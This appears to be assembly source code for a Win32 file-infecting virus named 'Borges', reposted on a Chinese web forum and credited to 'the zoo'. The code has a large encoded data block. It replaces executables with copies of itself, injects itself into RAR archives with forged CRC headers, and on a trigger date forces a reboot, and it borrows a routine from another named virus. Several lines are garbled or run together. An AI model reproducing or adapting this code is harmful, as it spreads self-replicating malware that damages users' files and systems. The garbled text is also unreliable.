DB 039H, 084H, 038H, 07EH, 0F5H, 01DH, 086H, 05FH, 02DH, 085H, 09EH, 02EH, 0D0H, 0EFH, 03BH

DB 09FH, 0B4H, 02EH, 0B1H, 02AH, 0B6H, 02EH, 08CH, 07CH, 081H, 01EH, 038H, 086H, 04CH, 02EH

DB 0F5H, 01DH, 081H, 014H, 038H, 082H, 040H, 02EH, 0D0H, 085H, 03BH, 09FH, 098H, 02EH, 0B1H

DB 02AH, 09AH, 02EH, 08CH, 07CH, 081H, 02CH, 038H, 086H, 0AEH, 02EH, 0F5H, 01DH, 0FFH, 03AH

DB 0B4H, 02EH, 038H, 03CH, 0FH, 03AH, 0B6H, 02EH, 038H, 03CH, 0GFH, 03AH, 098H, 02EH, 038H

DB 03CH, 03AH, 09AH, 02EH, 038H, 03CH, 08CH, 07CH, 081H, 09AH, 02AH, 086H, 05BH, 029H

DB 0F5H, 01DH, 0GFH, 03AH, 04EH, 02EH, 038H, 03CH, 08CH, 07CH, 081H, 038H, 038H, 086H, 04CH

DB 02EH, 0F5H, 01DH, 0D1H, 0E1H, 0C4H, 012H, 01H, 002H, 08AH, 02EH, 016H, 0B6H, 036H, 094H

DB 02AH, 01AH, 0B0H, 071H, 03CH, 0FFH, 005H, 071H, 062H, 049H, 03BH, 0D5H, 0D7H, 0C7H, 005H

DB 066H, 075H, 049H, 03BH, 0D5H, 0DFH, 0C7H, 0B8H, 002H, 02AH, 030H, 07BH, 049H, 03BH, 0D5H

DB 046H, 0C7H, 004H, 0BCH, 04DH, 03FH, 0D1H, 0A0H, 0C5H, 07CH, 04DH, 03FH, 0D1H, 0F0H, 0C4H

DB 0BCH, 006H, 02EH, 034H, 07EH, 04DH, 03FH, 0D1H, 000H, 0C6H, 0BCH, 006H, 02EH, 034H, 07DH

DB 04DH, 03FH, 0D1H, 01DH, 0C7H, 0BCH, 006H, 02EH, 034H, 06EH, 08CH, 03FH, 0D1H, 0B4H, 0C0H, 069H, 085H, 021H, 03CH, 0D0H, 021H, 039H, 039H, 078H, 03CH, 092H, 065H

DB 0DAH, 0CEH, 0FBH, 035H, 038H, 031H, 032H, 01CH, 063H, 077H, 06DH, 07DH, 06AH, 07DH, 070H

DB 065H, 018H, 00DH, 016H, 00DH, 018H, 05EH, 041H, 01CH, 071H, 052H, 04CH, 00DH, 00BH, 054H

DB 017H, 075H, 073H, 064H, 065H, 01CH, 015H, 01CH, 06FH, 04EH, 051H, 048H, 04CH, 059H, 056H

DB 01CH, 051H, 052H, 018H, 06CH, 059H, 04EH, 059H, 05BH, 04DH, 05DH, 041H, 01CH, 015H, 01CH

DB 068H, 050H, 05DH, 05DH, 04BH, 059H, 018H, 04EH, 05DH, 05BH, 051H, 04FH, 04CH, 059H, 04AH

DB 01DH, 018H, 031H, 032H, 018H, 07CH, 073H, 06BH, 01CH, 071H, 052H, 05EH, 059H, 05BH, 048H

DB 051H, 053H, 056H, 01CH, 075H, 05DH, 05BH, 054H, 051H, 052H, 05DH, 03EH, 061H, 0D5H, 087H

DB 033H, 018H, 070H, 05DH, 05DH, 04AH, 052H, 018H, 04FH, 057H, 051H, 05DH, 01CH, 05FH, 049H

DB 059H, 04EH, 059H, 052H, 099H, 01CH, 04FH, 053H, 04AH, 058H, 04BH, 01DH, 002H, 077H, 04DH

DB 05DH, 04AH, 05DH, 050H, 045H, 005H, 06FH, 04DH, 052H, 018H, 01CH, 079H, 098H, 098H, 001H

DB 07CH, 059H, 04EH, 055H, 054H, 01CH, 018H, 077H, 04DH, 098H, 098H, 001H, 06FH, 053H, 055H

DB 05DH, 056H, 01CH, 086H, 074H, 037H, 059H, 040H, 059H, 05BH, 053H, 055H, 04FH, 041H, 04FH

DB 057H, 05EH, 052H, 05EH, 059H, 048H, 057H, 04AH, 054H, 05DH, 04AH, 056H, 04AH, 05DH, 04AH

DB 06EH, 035H, 07DH, 022H, 03CH, 016H, 0C3H, 03EH, 06EH, 033H, 084H, 039H, 06BH, 081H, 00BH

DB 046H, 0BCH, 0D9H, 0DCH, 0B8H, 0F5H, 026H, 086H, 0B9H, 019H, 0A4H, 012H, 0C7H, 022H, 02BH

DB 030H, 0FBH, 01CH, 07DH, 011H, 055H, 05DH, 051H, 050H, 018H, 051H, 05DH, 006H, 018H, 075H

DB 056H, 048H, 009H, 00FH, 050H, 07CH, 059H, 052H, 04CH, 055H, 04BH, 053H, 05BH, 055H, 059H

DB 050H, 016H, 05FH, 057H, 051H, 018H, 084H, 038H, 07EH, 0D3H, 03FH, 080H, 03EH, 07AH, 00FH

DB 0F1H, 0A5H, 0F5H, 01DH, 0FBH, 032H, 036H, 023H, 03FH, 0FFH, 06AH, 06BH, 0DDH, 07CH, 082H

DB 056H, 038H, 0CBH, 0DAH, 039H, 03BH, 039H, 087H, 087H, 02FH, 0BFH, 0EAH, 03CH, 0CFH, 0CBH

DB 0B3H, 0CFH, 0DDH, 0CFH, 0CBH, 067H, 066H, 078H, 06H, 016H, 0BCH, 006H, 096H, 038HDB 06FH, 04DH, 074H, 016H, 0C2H, 03EH, 097H, 038H, 012H, 0B8H, 002H, 093H, 03CH, 030H, 04AH

DB 003H, 022H, 068H, 06FH, 00BH, 0FCH, 0B6H, 0E4H, 099H, 0B8H, 038H, 0B7H, 026H, 0BAH, 038H

DB 012H, 09BH, 0E7H, 03CH, 012H, 0B1H, 022H, 0E5H, 038H, 016H, 09FH, 02BH, 030H, 016H, 0B5H

DB 026H, 029H, 034H, 0C6H, 0FFH, 03AH, 0BCH, 03CH, 0A9H, 038H, 0B4H, 032H, 0BEH, 03CH, 0C3H

DB 012H, 0FEH, 03AH, 093H, 03CH, 038H, 012H, 03CH, 076H, 067H, 060H, 023H

DB 0D1H, 0FH, 0CCH, 0D4H, 0BFH, 0C3H, 0B1H, 012H, 039H, 03EH, 0B9H, 0D1H, 0FAH, 03DH, 0B1H

DB 012H, 007H, 03CH, 0DCH, 07CH, 0BEH, 0DCH, 0DCH, 07CH, 09BH, 035H, 03AH, 00FH, 0CEH, 083H

DB 05BH, 029H, 081H, 007H, 014H, 0CFH, 09CH, 082H, 04AH, 02BH, 099H, 035H, 03AH, 085H, 073H

DB 034H, 009H, 038H, 07EH, 07AH, 0DAH, 0C6H, 0DCH, 07CH, 0BEH, 0DCH, 0DCH, 07CH, 09BH, 07BH

DB 038H, 085H, 014H, 03DH, 0D0H, 073H, 0C7H, 083H, 07DH, 03CH, 005H, 058H, 038H, 04BH, 037H

DB 08DH, 039H, 084H, 0B9H, 008H, 093H, 083H, 081H, 031H, 080H, 00DH, 03CH, 097H, 0D3H, 01DH

DB 005H, 0F4H, 038H, 04BH, 037H, 08DH, 03AH, 084H, 0B9H, 010H, 093H, 083H, 081H, 031H, 080H

DB 03DH, 03CH, 097H, 0D3H, 031H, 089H, 03FH, 080H, 0BDH, 03CH, 097H, 087H, 085H, 035H, 084H

DB 011H, 038H, 093H, 001, 0D5H, 083H, 006H, 03CH, 069H, 085H, 0C7H, 03CH, 0D0H, 037H, 0C7H

DB 065H, 004H, 06CH, 04FH, 029H, 088H, 087H, 092H, 083H, 071H, 03CH, 080H, 07FH, 07BH, 097H

DB 087H, 07AH, 038H, 082H, 05AH, 02CH, 03BH, 0CDH, 09CH, 0D7H, 014H, 000H, 098H, 04BH, 02DH

DB 08CH, 086H, 096H, 087H, 075H, 038H, 084H, 07EH, 07AH, 093H, 083H, 07EH, 03CH, 086H, 059H

DB 028H, 03FH, 0C9H, 098H, 0D3H, 02FH, 088H, 083H, 092H, 083H, 071H, 03CH, 080H, 07BH, 07FH

DB 097H, 087H, 07AH, 038H, 082H, 050H, 02CH, 03BH, 0CDH, 09CH, 00FH, 0CEH, 083H, 05BH, 029H

DB 081H, 071H, 038H, 0CFH, 09CH, 082H, 05BH, 029H, 0B9H, 099H, 075H, 03CH, 099H, 07BH, 038H

DB 085H, 0E0H, 03CH, 009H, 038H, 07EH, 07AH, 0DAH, 0C6H, 016H, 0BCH, 006H, 02EH, 034H, 05EH

DB 04DH, 037H, 086H, 05FH, 02DH, 0BDH, 0FEH, 003H, 038H, 0FBH, 03CH, 071H, 044H, 02CH, 086HDB 08AH, 02CH, 0BDH, 034H, 01CH, 018H, 0BFH, 074H, 03EH, 018H, 083h, 0c2h, 037h, 086h, 08ah

DB 02CH, 0BDH, 0C7H, 02EH, 034H, 04BH, 00FH, 085H, 03BH, 03CH, 0CBH, 09AH, 04DH, 0CCH, 0B9H

DB 0C3H, 0C5H, 037H, 04CH, 00DH, 0B9H, 0C3H, 038H, 030H, 04CH, 013H, 0B9H, 0C3H, 03BH, 030H

DB 04CH, 011H, 0B9H, 0C3H, 03EH, 030H, 04CH, 017H, 0B9H, 0C3H, 031H, 030H, 04CH, 015H, 0B9H

DB 0C3H, 034H, 030H, 04CH, 01BH, 0B9H, 0C3H, 037H, 030H, 04CH, 019H, 0B9H, 0C3H, 02AH, 030H

DB 04CH, 01FH, 0FEH, 03AH, 02AH, 030H, 060H, 0C5H, 0FBH, 08CH, 07DH, 0D7H, 022H, 08CH, 07BH

DB 0D7H, 02EH, 08CH, 06BH, 0D7H, 02AH, 08CH, 077H, 0D7H, 036H, 08CH, 07AH, 0D7H, 032H, 08CH

DB 07DH, 0D7H, 03EH, 08CH, 079H, 0D7H, 03AH, 08CH, 06AH, 09EH, 02AH, 030H, 0B6H, 0E7H, 0C0H

DB 0FFH, 08CH, 003H, 081H, 03FH, 038H, 086H, 07AH, 02EH, 02AH, 07BH, 02EH, 02EH, 02EH

DB 098H, 07EH, 02AH, 0FFH, 06BH, 06DH, 06EH, 06BH, 0D0H, 009H, 038H, 086H, 0C7H, 0C3H, 080H

DB 0C3H, 0C7H, 017H, 0E3H, 0B6H, 024H, 07ah, 00ah, 0e4h, 0e9h, 0dfh, 0e9h, 0dfh, 0B2H, 0F8H

DB 0B2H, 0DEH, 0B2H, 0EAH, 00AH, 0Cah, 00bh, 0BBH, 003H, 014H, 00BH, 0ABH, 005H, 014H, 071H

DB 049H, 0DAH, 0BFH, 0CAH, 0C3H, 00DH, 0C3H, 0C7H, 063H, 066H, 065H, 063H, 0FFH, 080H, 0F1H

DB 02BH, 0BH, 0F3H, 0F3H, 068H, 06DH, 06AH, 06BH, 087H, 007H, 010H, 00FH, 0F1H, 00FH, 0EAH

DB 00FH, 0F8H, 0B6H, 0F9H, 06DH, 081H, 034H, 038H, 0C4H, 0E9H, 0E6H, 0E9H, 0E4H, 04BH, 03BH

DB 0B9H, 0CEH, 080H, 0D1H, 00DH, 01CH, 0BBH, 0DEH, 0C8H, 0B5H, 03DH, 0B5H, 06DH, 03EH, 0BBH

DB 0FBH, 03CH, 065H, 079H, 0BDH, 0C1H, 03CH, 039H, 049H, 0EEH, 063H, 062H, 065H, 060H, 0FFH

DB 026H, 06AH, 068H, 06FH, 0A4H, 064H, 0B8H, 0D8H, 0C6H, 06CH, 0A5H, 017H, 0F8H, 0B2H, 0E0H

DB 087H, 03CH, 03CH, 0FDH, 00BH, 0FEH, 038H, 0F7H, 067H, 060H, 062H, 027H, 0FFH, 0A4H, 012H

DB 0C7H, 022H, 0A4H, 03DH, 04BH, 03FH, 0D1H, 0ABH, 038H, 01AH, 0B9H, 083H, 073H, 03CH, 0DAH

DB 0CBH, 04DH, 03FH, 0D1H, 09FH, 0CAH, 01AH, 0B9H, 043H, 02BH, 07CH, 033H, 048H, 03BH, 0D5H

DB 0B8H, 03CH, 0A4H, 06CH, 06BH, 06DH, 06AH, 06AH, 06FH, 012H, 03H, 03AH, 091H, 03CH, 07EHDB 03AH, 026H, 03AH, 027H, 032H, 03FH, 0B1H, 04FH, 03FH, 087H, 03FH, 038H, 085H, 003H, 03CH

DB 0CBH, 098H, 027H, 03BH, 0D0H, 04FH, 038H, 084H, 039H, 03FH, 013H, 0EEH, 081H, 03DH, 068H

DB 0A0H, 016H, 0C3H, 026H, 0A0H, 039H, 084H, 039H, 03FH, 0A4H, 012H, 0C7H, 022H, 0A4H, 03DH

DB 03EH, 032H, 03FH, 012H, 0FEH, 03AH, 02AH, 030H, 05AH, 069H, 026H, 03AH, 085H, 033H, 03AH

DB 0D4H, 043H, 0C1H, 03FH, 023H, 065H, 084H, 031H, 03FH, 081H, 03EH, 068H, 087H, 05BH, 02BH

DB 0A4H, 012H, 0C7H, 022H, 0A4H, 03DH, 080H, 035H, 03BH, 0A0H, 016H, 0C3H, 026H, 0A0H, 039H

DB 084H, 039H, 03FH, 081H, 03DH, 038H, 00Fh, 0EAH, 087H, 05BH, 029H, 0A4H, 012H, 0C7H, 022H

DB 0A4H, 03DH, 03FH, 063H, 066H, 066H, 061H, 067H, 060H, 0A1H, 0F2H, 03EH, 038H, 03FH, 06AH

DB 053H, 050H, 05DH, 051H, 054H, 09BH, 01CH, 068H, 05DH, 04AH, 059H, 059H, 045H

DB 019H, 03FH, 026H, 03AH, 06BH, 032H, 036H, 023H, 03FH, 00FH, 0F8H, 0B2H, 0E0H, 082H, 040H

DB 03CH, 087H, 033H, 010H, 099H, 09DH, 0B2H, 0F8H, 083H, 040H, 03CH, 080H, 050H, 028H, 097H

DB 0B4H, 0F4H, 093H, 032H, 036H, 023H, 03FH, 083H, 02BH, 014H, 081H, 03DH, 03AH, 084H, 068H

DB 03CH, 093H, 0B7H, 0F9H, 097H, 0C6H, 0FDH, 0B9H, 0C5H, 032H, 03EH, 04EH, 0CDH, 00BH, 0FCH

DB 0F5H, 02FH, 080H, 036H, 03DH, 087H, 02BH, 014H, 081H, 03DH, 068H, 00FH, 0EAH, 0F1H, 02BH

DB 00FH, 0F8H, 0B2H, 0F8H, 082H, 037H, 014H, 087H, 044H, 038H, 099H, 09DH, 067H, 03FH, 023H

DB 0FBH, 06CH, 06BH, 06DH, 06AH, 06AH, 06FH, 069H, 026H, 03AH, 036H, 032H, 027H, 03BH, 01EH

DB 0BCH, 006H, 089H, 033H, 072H, 04DH, 02AH, 080H, 03DH, 03AH, 087H, 08EH, 02EH, 081H, 03DH

DB 038H, 086H, 0B8H, 03CH, 0F5H, 02FH, 0B9H, 083H, 073H, 03CH, 0DAH, 0CBH, 04DH, 036H, 03FH

DB 023H, 065H, 063H, 066H, 066H, 061H, 067H, 060H, 0F3H, 01EH, 04H, 03EH, 095H, 038H, 074H

DB 01EH, 0FAH, 03EH, 089H, 033H, 065H, 087H, 01CH, 038H, 0D4H, 085H, 0CCH, 0D3H, 0DEH, 082H

DB 0CEH, 039H, 085H, 03EH, 03CH, 056H, 07EH, 0DAH, 0C0H, 0D4H, 094H, 030H, 048H, 0C3H, 0B7H

DB 0CBH, 085H, 038H, 03DH, 082H, 0CCH, 039H, 0CFH, 057H, 0FFH, 00FH, 013H, 03FH, 008H, 014HDB 038H, 00D, 011H, 019H, 0E3H, 03AH, 019H, 03AH, 02EH, 023H, 0C3H, 054H, 03EH, 037H, 034H

DB 039H, 03DH, 038H, 03CH, 098H, 00CH, 079H, 072H, 06CH, 075H, 015H, 06AH, 071H, 06EH, 016H

DB 078H, 079H, 068H, 038H, 07FH, 070H, 077H, 074H, 075H, 06BH, 068H, 016H, 071H, 06BH, 03CH

DB 07BH, 074H, 073H, 070H, 071H, 06FH, 06CH, 012H, 07BH, 06CH, 06BH, 03CH, 079H, 06AH, 068H

DB 012H, 07BH, 06EH, 07BH, 03CH, 038H, 03CH, 0B8H, 03CH, 038H, 03CH, 064H, 03CH, 038H, 03CH

DB 054H, 03CH, 038H, 03CH, 07BH, 006H, 064H, 07FH, 077H, 071H, 075H, 07DH, 076H, 078H, 016H

DB 07FH, 077H, 071H, 038H, 0B6H, 03FH, 03CH, 0F9H, 02CH, 039H, 03DH, 038H, 03DH, 0A3H, 09CH

DB 091H, 02EH, 039H, 03CH, 039H, 03CH, 038H, 004H, 044H, 0FAH, 0FEH, 050H, 0C6H, 0FAH, 0FEH

DB 0FAH, 07CH, 03CH, 038H, 03CH, 038H, 0C4H, 044H, 05AH, 05EH, 052H, 0C4H, 05AH, 05EH, 042H

DB 0C4H, 03CH, 038H, 03CH, 038H, 004H, 044H, 0DAH, 05EH, 05EH, 058H, 05EH, 0DEH, 042H, 004H

DB 03CH, 038H, 03CH, 038H, 0CCH, 000H, 020H, 076H, 0DAH, 05EH, 05AH, 05EH, 040H, 0C0H, 03CH

DB 038H, 03CH, 038H, 044H, 0C4H, 05AH, 052H, 0C4H, 050H, 05EH, 05EH, 0C0H, 040H, 03CH, 038H

DB 03CH, 038H, 040H, 0C6H, 05EH, 058H, 054H, 0C0H, 054H, 058H, 05CH, 0C8H, 03CH, 038H, 03CH

DB 038H, 040H, 0D6H, 05AH, 05CH, 05CH, 0DAH, 05AH, 056H, 0C2H, 04EH, 03EH, 038H, 03CH, 038H

DB 07EH, 05EH, 05AH, 05EH, 0DBH, 046H, 05AH, 05EH, 05AH, 07AH, 03CH, 038H, 03CH, 038H, 024H

DB 004H, 000H, 020H, 024H, 020H, 024H, 004H, 000H, 020H, 03CH, 038H, 03CH, 038H, 03AH, 036H

DB 032H, 07EH, 05ah, 04EH, 05ah, 05EH, 05AH, 004H, 03CH, 038H, 03CH, 038H, 01EH, 05EH, 0DAH

DB 05EH, 048H, 040H, 050H, 0DEH, 05AH, 01AH, 03CH, 038H, 03CH, 038H, 01CH, 058H, 0DCH, 058H

DB 05CH, 05AH, 05AH, 056H, 05AH, 0C4H, 03CH, 038H, 03CH, 038H, 0BEH, 0FAH, 0FAH, 0D6H, 0C2H

DB 0EEH, 0EAH, 0FEH, 0FAH, 07CH, 03CH, 038H, 03CH, 038H, 0BEH, 0FEH, 0DAH, 0CEH, 0E2H, 0F6H

DB 0FAH, 0FAH, 0FAH, 07AH, 03CH, 038H, 03CH, 038H, 024H, 004H, 052H, 05EH, 05AH, 05EH, 05AH

DB 04EH, 000H, 020H, 03CH, 038H, 03CH, 038H, 0CCH, 044H, 052H, 05EH, 05AH, 056H, 0C0H, 058HDB 05CH, 078H, 03CH, 038H, 03CH, 038H, 00CH, 044H, 0FAH, 0FEH, 0FAH, 0FEH, 0FAH, 0eeh, 040h

DB 020H, 030H, 038H, 03CH, 038H, 0C0H, 05EH, 05AH, 05EH, 048H, 040H, 050H, 0DEH, 05AH, 01AH

DB 03CH, 038H, 03CH, 038H, 000H, 05EH, 05AH, 05EH, 00Eh, 020H, 030H, 01EH, 05AH, 084H, 03CH

DB 038H, 03CH, 038H, 018H, 046H, 0E7H, 0A1H, 024H, 020H, 024H, 020H, 024H, 004H, 03CH, 038H

DB 03CH, 038H, 07EH, 05EH, 05AH, 05EH, 05AH, 05EH, 05AH, 05EH, 042H, 004H, 03CH, 038H, 03CH

DB 038H, 018H, 05EH, 05AH, 05EH, 05AH, 05EH, 05AH, 05EH, 000H, 020H, 03CH, 038H, 03CH, 038H

DB 0BEH, 0FEH, 0FAH, 0FEH, 0EAH, 0EEH, 0C2H, 0C6H, 0D2H, 07CH, 03CH, 038H, 03CH, 038H, 07EH

DB 05EH, 000H, 020H, 024H, 020H, 024H, 004H, 05AH, 07AH, 03CH, 038H, 03CH, 038H, 07EH, 05EH

DB 05AH, 004H, 024H, 020H, 024H, 020H, 024H, 004H, 03CH, 038H, 03CH, 038H, 000H, 05EH, 07AH

DB 034H, 024H, 044H, 00CH, 05AH, 05AH, 004H, 03CH, 038H, 0B6H, 03FH, 03CH, 039H, 056H, 0C9H

DB 01CH, 017H, 07FH, 018H, 03CH, 038H, 048H, 038H, 0BCH, 010H, 03CH, 09EH, 02EH, 038H, 03CH

DB 09EH, 02EH, 038H, 03CH, 038H, 03CH, 038H, 03CH, 038H, 0E2H, 07DH, 01EH, 01DH, 028H, 008H

DB 034H, 038H, 03CH, 038H, 03CH, 038H, 079H, 077H, 072H, 071H, 012H, 07BH, 073H, 075H, 05CH

DB 0D2H, 03CH, 038H, 022H, 03FH, 03DH, 038H, 02CH, 038H, 03CH, 062H, 0E2H, 07DH, 0BDH, 01DH

DB 09AH, 02AH, 03CH, 038H, 09AH, 02AH, 03CH, 038H, 03CH, 038H, 03CH, 038H, 03CH, 038H, 03CH

DB 038H, 03CH, 038H, 06DH, 07EH, 073H, 073H, 012H, 07BH, 073H, 075H, 03CH, 038H, 03CH, 038H

DB 03CH, 038H, 03CH, 000H

.Code

Borges: push offset systemtimeStruc

Call getSystemTime

MOV AX, Word Ptr Offset [SystemTimeStruc 2]

CMP AL, 9

JNE NOFQVBIRTHDAY

MOV AX, Word Ptr Offset [SystemTimeStruc 6]

CMP Al, 17

Je Adios

NofqvbirtHday:

Push offset Original

Push 000000C8H

Call getcurrentdirectorya

Mov DWORD PTR [longitude], EAX

Call getcommandlinea

Push EAX

Push Offset ParaCorro

Call Lstrcpyamov EDI, EAX

Buscar: CMP BYTE PTR [EDI], '.'

JZ Elpunto

Inc EDI

JMP buscar

Elpunto: MOV ESI, EDI

Inc ESI

Mov DWORD PTR [POSICION], ESI

Add Edi, 4

MOV Byte Ptr [EDI], 00

Carrousell:

JMP InfeCtexes

Volver: Push Offset Puntopunto

Call setCurrentDirectorya

Push Offset Actual

Push 000000C8H

Call getcurrentdirectorya

CMP EAX, DWORD PTR [longitude]

Je Salida

Mov DWORD PTR [longitude], EAX

JMP Carrousell

Infectexes:

Push Offset Win32Finddata

Push Offset Victimas

Call FindfirstFilea

Mov DWORD PTR [Searchandle1], EAX

CICLO: CMP EAX, -1

Je Salida

OR EAX, EAX

Jnz Continuar

JMP Infectrars

Continuar:

Push Offset Hallado

Push Offset Crear

Call lstrcpya

Mov Edi, Offset Crear

Seguirbuscando:

CMP BYTE PTR [EDI], '.'

JZ PuntoenContrado

Inc EDI

JMP Seguirbuscando

PuntoenContrado:

Inc EDI

MOV DWORD PTR [EDI], 0004D4F43H

Push Offset Crear

Push Offset Hallado

Call Movefilea

PUSH 0

Push Offset Hallado

Push Offset ParaCorR 1

Call Copyfilea

Push Offset Win32Finddata

Push DWORD PTR [Searchandle1]

Call FindnextFilea

JMP CICLO

Infectrars:

Push Offset Win32Finddata

Push Offset Victimas2

Call FindfirstFilea

Mov DWORD PTR [Searchandle2], EAX

Ciclear: CMP EAX, -1

Je Salida

OR EAX, EAX

JNZ FOLLOW

JMP Volver

FOLLOW: PUSH 00

Push 00000080H

Push 03

Push 00

Push 00

Push 0C0000000H

Push Offset Hallado; Abrir El Rar

Call Createfilea

Mov DWORD PTR [FileHandle], EAX

Push 02

Push 00

Push 00; Puntero Al Final

Push EAX

Call setfilepointer

Mov Edi, Offset Rarname

MOV ECX, 7; Get a Random Name

Call Changer

Mov ESI, Offset Kuarahy2

MOV EDI, SIZE; GET CRC

Call CRC32

Mov DWORD PTR [RARCRC32], EAX

MOV ESI, Offset Rarheader 2

Mov Edi, Headersize-2; CRC of The Header

Call CRC32MOV Word PTR [RarheaderCrc], AX

PUSH 0

Push Offset Number

Push headersize

Push Offset Rarheader; Write HEADER

Push DWORD PTR [FileHandle]

Call writefile

Mov Word PTR [RarheaderCrc], 0

MOV Word Ptr [Rarcrc32], 0; Blank

MOV Word PTR [RARCRC32 2], 0

PUSH 0

Push Offset Number

Push size

Push Offset Kuarahy2; Drop Viruz

Push DWORD PTR [FileHandle]

Call writefile

Push DWORD PTR [FileHandle]

Call Closehandle

Push Offset Win32Finddata

Push DWORD PTR [Searchandle2]

Call FindnextFilea

JMP Ciclear

Fillclipboard:

PUSH 0

Call OpenClipboard

Call EmptyClipboard

Push (Offset Textoventana-Offset Tituloventana)

Push 00000002; GMEM_MOVEABLE

Call GlobalLococ

Push EAX

Mov DWORD PTR [MemHandle], EAX

Call GlobalLock

Push EAX

Push Offset Tituloventana

Push EAX

Call lstrcpya

Push dword PTR [MemHandle]

Call Globalunlock

Push dword PTR [MemHandle]

Push 00000001; CF_Text

Call setClipboardData

Call CloseClipboard

JMP Run4Thenight

Adios: push 00000001

Push Offset Tituloventana

Push Offset TextOventana

PUSH 0

Call Messageboxa

PUSH 0

Push 00000002; EWX_REBOOT

Call exitwindowsex

Salida: push offset Original

Call setCurrentDirectorya

MOV AX, Word Ptr Offset [SystemTimeStruc 4]

CMP AL, 2

Je FillClipboard

Run4thenight:

Push Offset ProcessInfo

Push Offset StartupInfo

Sub Eax, EAX

Push EAX

Push EAX

Push 00000010h

Push EAX

Push EAX

Push EAX

Call getcommandlinea

INC EAX

Push EAX

DONE: MOV ESI, DWORD PTR [POSICION]

MOV DWORD PTR [ESI], 0004D4F43H

Push Offset ParaCorR 1

Call CreateProcessa

OUT: PUSH 0

Call EXITPROCESS

CRC32: CLD; ROUTINE EXTRACTED FROM VECNA's

Push Ebx; Inca Virus. Muito Brigado!

MOV ECX, -1

MOV EDX, ECX

Nextbytecrc:

XOR EAX, EAX

XOR EBX, EBX

Lodsbxor Al, Cl

MOV CL, CH

MOV CH, DL

MOV DL, DH

MOV DH, 8

NextbitCrc:

SHR BX, 1

RCR AX, 1

JNC NOCRC

XOR AX, 08320H

XOR bx, 0edb8h

NOCRC: DEC DH

JNZ nextbitCrc

XOR ECX, EAX

XOR EDX, EBX

Dec di

Jnz nextbytecrc

Not Edx

NOT ECX

POP EBX

MOV EAX, EDX

ROL EAX, 16

MOV AX, CX

RET

Changer: MOV EBX, 25

Call gettickcount; MBO Random

MOV EDX, DWORD PTR Offset [SystemTimeStruc 6]

XOR EAX, EDX

XOR EDX, EDX

Div EBX

XCHG EAX, EDX

Add Eax, 65

Stosb

Loop Changer

RET

ENDS

End borges

Chaght to you by 'the zoo'!

转载请注明原文地址:https://www.9cbs.com/read-37578.html

New Post(0)